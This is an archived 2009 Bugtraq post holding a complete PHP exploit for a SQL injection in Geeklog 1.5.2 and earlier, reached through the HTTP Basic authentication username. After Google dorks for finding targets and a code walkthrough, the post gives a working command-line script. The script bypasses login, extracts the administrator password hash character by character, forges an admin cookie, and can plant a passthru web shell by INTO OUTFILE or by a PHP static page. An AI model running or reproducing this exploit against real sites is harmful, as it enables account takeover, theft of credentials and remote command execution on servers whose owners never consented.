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Message-ID: <20090409102257.20184.qmail@securityfocus.com>
Date: 9 Apr 2009 10:22:57 -0000
From: nospam@...il.it
To: bugtraq@...urityfocus.com
Subject: Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection
exploit
<?php
/*
Geeklog <=1.5.2 SEC_authenticate()/PHP_AUTH_USER sql injection exploit
by Nine:Situations:Group::bookoo
our site: http://retrogod.altervista.org/
software site: http://www.geeklog.net/
credit goes to rgod, bug found more than a year ago
working against PHP >= 5.0
google dorks: "By Geeklog" "Created this page in" +seconds +powered
"By Geeklog" "Created this page in" +seconds +powered inurl:public_html
vulnerability, see /public_html/webservices/atom/index.php near lines 34-53:
...
require_once '../../lib-common.php';
if (PHP_VERSION < 5) {
$_CONF['disable_webservices'] = true;
} else {
require_once $_CONF['path_system'] . '/lib-webservices.php';
}
if ($_CONF['disable_webservices']) {
COM_displayMessageAndAbort($LANG_404[3], '', 404, 'Not Found');
}
header('Content-type: ' . 'application/atom+xml' . '; charset=UTF-8');
WS_authenticate();
...
now WS_authenticate() function in /system/lib-webservices.php near lines 780-877:
...
function WS_authenticate()
{
global $_CONF, $_TABLES, $_USER, $_GROUPS, $_RIGHTS, $WS_VERBOSE;
$uid = '';
$username = '';
$password = '';
$status = -1;
if (isset($_SERVER['PHP_AUTH_USER'])) {
$username = $_SERVER['PHP_AUTH_USER'];
$password = $_SERVER['PHP_AUTH_PW'];
if ($WS_VERBOSE) {
COM_errorLog("WS: Attempting to log in user '$username'");
}
} elseif (!empty($_SERVER['REMOTE_USER'])) {
list($auth_type, $auth_data) = explode(' ', $_SERVER['REMOTE_USER']);
list($username, $password) = explode(':', base64_decode($auth_data));
if ($WS_VERBOSE) {
COM_errorLog("WS: Attempting to log in user '$username' (via \$_SERVER['REMOTE_USER'])");
}
} else {
if ($WS_VERBOSE) {
COM_errorLog("WS: No login given");
}
}
...
and after, near lines 907-909:
...
if (($status == -1) && $_CONF['user_login_method']['standard']) {
$status = SEC_authenticate($username, $password, $uid);
}
...
now open /system/lib-security.php near lines 695-717:
...
function SEC_authenticate($username, $password, &$uid)
{
global $_CONF, $_TABLES, $LANG01;
$result = DB_query("SELECT status, passwd, email, uid FROM {$_TABLES['users']} WHERE username='$username' AND ((remoteservice is null) or (remoteservice = ''))"); //<------------------- SQL INJECTION HERE
$tmp = DB_error();
$nrows = DB_numRows($result);
if (($tmp == 0) && ($nrows == 1)) {
$U = DB_fetchArray($result);
$uid = $U['uid'];
if ($U['status'] == USER_ACCOUNT_DISABLED) {
// banned, jump to here to save an md5 calc.
return USER_ACCOUNT_DISABLED;
} elseif ($U['passwd'] != SEC_encryptPassword($password)) {
return -1; // failed login
} elseif ($U['status'] == USER_ACCOUNT_AWAITING_APPROVAL) {
return USER_ACCOUNT_AWAITING_APPROVAL;
} elseif ($U['status'] == USER_ACCOUNT_AWAITING_ACTIVATION) {
// Awaiting user activation, activate:
DB_change($_TABLES['users'], 'status', USER_ACCOUNT_ACTIVE,
'username', $username);
return USER_ACCOUNT_ACTIVE;
} else {
return $U['status']; // just return their status
}
} else {
$tmp = $LANG01[32] . ": '" . $username . "'";
COM_errorLog($tmp, 1);
return -1;
}
}
...
you can inject sql code in the 'username' argument of this function, it may
come from $_SERVER['PHP_AUTH_USER'] or $_SERVER['REMOTE_USER'] php
variables.
Theese vars are used for both HTTP Basic and Digest Authentication methods,
see PHP manual:
http://www.php.net/manual/en/features.http-auth.php
manual poc, visit http://host/path_to_geeklog/webservices/atom/index.php
then type:
username: ' AND 0 UNION SELECT 3,MD5('AAAA'),null,2 FROM gl_users LIMIT 1/*
password: AAAA
authentication mechanism is bypassed!
Note that it is passed base64_encode()'d !
Now you have access to some dangerous functions:
service_submit_staticpages()
service_delete_staticpages()
service_get_staticpages()
service_getTopicList_staticpages()
in /plugins/staticpages/services.inc.php
service_submit_story()
service_delete_story()
service_get_story()
service_getTopicList_story()
in /system/lib-story.php
ex. the service_submit_staticpages() one allows to specify a dangerous
sp_php flag in submitting "staticpages"; if the staticapages.PHP permission
is set to true for the staticpage admin (not the default), the page will be
evaluated as PHP code.
If not, you can extract the admin hash, then have access to administration
panel by the cookie:
geeklog=[uid]; password=[md5 hash];
set the staticpages.PHP permission to true, then resubmit the 'staticpage'.
Additional notes: Speed time limit is evaded by this script in submitting
login credentials/semi-blind queries.
If private folders are placed inside the www path (ex. when then public_html
path is visible inside urls) you could see the geeklog error.log with sql
errors, so disclose the table prefix, if not the default; ex, truncate the
url, replacing public_html/ with logs/error.log and you coukd also disclose
the local path by visiting ex. http://host/path/system/pear/Archive/Tar.php
http://host/path/system/classes/syndication/parserfactory.class.php
*/
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
nil;
} else {
!dl("php_curl.so") ? die($err[1]) :
nil;
}
}
function syntax() {
print (
"Syntax: php ".$argv[0]." [host] [path] [OPTIONS] \n". "Options: \n". "--port:[port] - specify a port \n". " default->80 \n". "--prefix - try to extract table prefix from information.schema \n". " default->gl_ \n". "--uid:[n] - specify an uid other than default (2,usually admin) \n". "--proxy:[host:port] - use proxy \n". "--skiptest - skip preliminary tests \n". "--test - run only tests \n". "--export_shell:[path] - try to export a shell with INTO OUTFILE, needs Mysql\n". " FILE privilege \n". "--sp -
submit a 'staticpage' with php code, needs geeklog \n". " sp_php permission set to true for thestaticpage \n". " plugin (not the default) \n". "Examples: php ".$argv[0]." 192.168.0.1 /geeklog/ \n". " php ".$argv[0]." 192.168.0.1 / --prefix --proxy:1.1.1.1:8080 \n". " php ".$argv[0]." 192.168.0.1 / --prefix --export_shell:/var/www\n". " php ".$argv[0]." 192.168.0.1 / --prefix --uid:3");
die();
}
error_reporting(E_ALL ^ E_NOTICE);
$host = $argv[1];
$path = $argv[2];
$prefix = "gl_";
//default
$uid = "2";
$where = "uid=$uid";
$argv[2] ? print("[*] Attacking...\n") :
syntax();
$_f_prefix = false;
$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_verbose = false;
$_test = false;
$sp_submit = false;
$into_outfile = false;
for ($i = 3; $i < $argc; $i++) {
if (stristr($argv[$i], "--prefix")) {
$_f_prefix = true;
}
if (stristr($argv[$i], "--proxy:")) {
$_use_proxy = true;
$tmp = explode(":", $argv[$i]);
$proxy_host = $tmp[1];
$proxy_port = (int)$tmp[2];
}
if (stristr($argv[$i], "--port:")) {
$tmp = explode(":", $argv[$i]);
$port = (int)$tmp[1];
}
if (stristr($argv[$i], "--uid")) {
$tmp = explode(":", $argv[$i]);
$uid = (int)$tmp[1];
$where = "uid=$uid";
}
if (stristr($argv[$i], "--verbose")) {
$_verbose = true;
}
if (stristr($argv[$i], "--skiptest")) {
$_skiptest = true;
}
if (stristr($argv[$i], "--test")) {
$_test = true;
}
if (stristr($argv[$i], "--export_shell:")) {
$tmp = explode(":", $argv[$i]);
$my_path = $tmp[1];
$into_outfile = true;
}
if (stristr($argv[$i], "--sp")) {
$sp_submit = true;
}
}
function _s($url, $auth, $is_post, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
if ($auth <> "") {
$auth = array("Authorization: Basic ".$auth);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $auth);
}
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
function find_prefix() {
global $host, $port, $path, $uid, $pwd, $url;
$_tn = "TABLE_NAME";
$_ift = "information_schema.TABLES";
$_table_prefix = "";
$j = -15;
$usr = "' AND 0 UNION SELECT null,null,null,null FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($_o)) {
die("[!] $_ift not availiable.");
} else {
print "[*] Initiating table prefix extraction...\n";
}
while (!$null_f) {
$mn = 0x00;
$mx = 0xff;
while (1) {
if (($mx + $mn) % 2 == 1) {
$c = round(($mx + $mn) / 2) - 1;
} else {
$c = round(($mx + $mn) / 2);
}
$usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN (ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") THEN '' ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($_o)) {
$mn = $c;
} else {
$mx = $c - 1;
}
if (($mx-$mn == 1) or ($mx == $mn)) {
$usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN (ASCII(SUBSTR(".$_tn." FROM $j FOR 1)) >= ".$c.") THEN '' ELSE $uid END) FROM $_ift WHERE ".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1/*";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($_o)) {
if ($mn <> 0) {
$_table_prefix = chr($mn).$_table_prefix;
} else {
$null_f = true;
}
} else {
if ($mx <> 0) {
$_table_prefix = chr($mx).$_table_prefix;
} else {
$null_f = true;
}
}
if (!$null_f) {
print ("[?] Table prefix->[??]".$_table_prefix."\n");
}
break;
}
}
$j--;
}
print "[?] Table prefix->".$_table_prefix."\n";
return $_table_prefix;
}
function export_sh() {
global $pwd, $url, $prefix, $my_path;
$usr = "' AND 0 UNION SELECT null,'<?php passtrhu(\$_GET[cmd]);?>',null,null INTO OUTFILE '".$my_path."/sh.php' FROM ".$prefix."users LIMIT 1/*";
$_o = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($_o)) {
print ("[*] Sql error.");
} else {
print ("[*] Done.");
}
}
function sp_php() {
global $host, $port, $path, $pwd, $prefix, $uid;
srand(make_seed());
$id = rand(0x1, 0xffffff);
echo "[*] id->".$id."\n";
$sh = "passthru(\$_GET[cmd]);";
//always specify the namespaceuri
//if the staticpages.PHP permission is not avaliable, sp_php will be resetted to 0
$data = "<?xml version=\"1.0\"?>". "<entry>". "<title term=\"1\" xmlns=\"http://www.geeklog.net/xmlns/app/gl\">\x20\x20\x20\x20</title>". "<id xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$id</id>". "<sp_content xmlns=\"http://www.geeklog.net/xmlns/app/gl\">$sh</sp_content>". "<sp_php xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</sp_php>". "<gl_etag xmlns=\"http://www.geeklog.net/xmlns/app/gl\">1</gl_etag>". "</entry>";
$usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,$uid FROM ".$prefix."users LIMIT 1/*";
$url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpages";
$out = _s($url, base64_encode($usr.":".$pwd) , 1, $data);
if (chk_err($_o)) {
print ("[*] Sql error.");
} else {
print ("[*] Done! Visit->http://$host:$port".$path."staticpages/index.php?page=$id&cmd=ls%20-la");
}
}
function make_seed() {
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
function chk_err($s) {
if (stripos ($s, "\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64\x2e")) {
return true;
} else {
return false;
}
}
$pwd = "AAAA";
$url = "http://$host:$port".$path."webservices/atom/index.php?plugin=staticpages";
if (!$_skiptest) {
$out = _s($url, base64_encode("':'") , 0, "");
if (chk_err($out)) {
print("[*] Vulnerable!\n");
} else {
die("[!] Not vulnerable.");
}
}
if ($_test) {
die;
}
if ($_f_prefix == true) {
$prefix = find_prefix();
}
if ($into_outfile == true) {
export_sh();
die;
}
if ($sp_submit == true) {
sp_php();
die;
}
$c = array();
$c = array_merge($c, range(0x30, 0x39));
$c = array_merge($c, range(0x61, 0x66));
$_hash = "";
print ("[*] Initiating hash extraction ...\n");
for ($j = 1; $j < 0x21; $j++) {
for ($i = 0; $i <= 0xff; $i++) {
$f = false;
if (in_array($i, $c)) {
//uid is mediumint, so if you assign a string value to it you have an sql error, so the script fails hence true/fails questions and you bypass speed limit also
$usr = "' AND 0 UNION SELECT 3,MD5('AAAA'),null,(CASE WHEN (ASCII(SUBSTR(passwd FROM $j FOR 1))=$i) THEN '' ELSE $uid END) FROM ".$prefix."users WHERE $where LIMIT 1/*";
$out = _s($url, base64_encode($usr.":".$pwd) , 0, "");
if (chk_err($out)) {
$f = true;
$_hash .= chr($i);
print "[*] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n";
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error ...");
}
}
print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";
?>
original url: http://retrogod.altervista.org/9sg_geeklog_152_sql.htm
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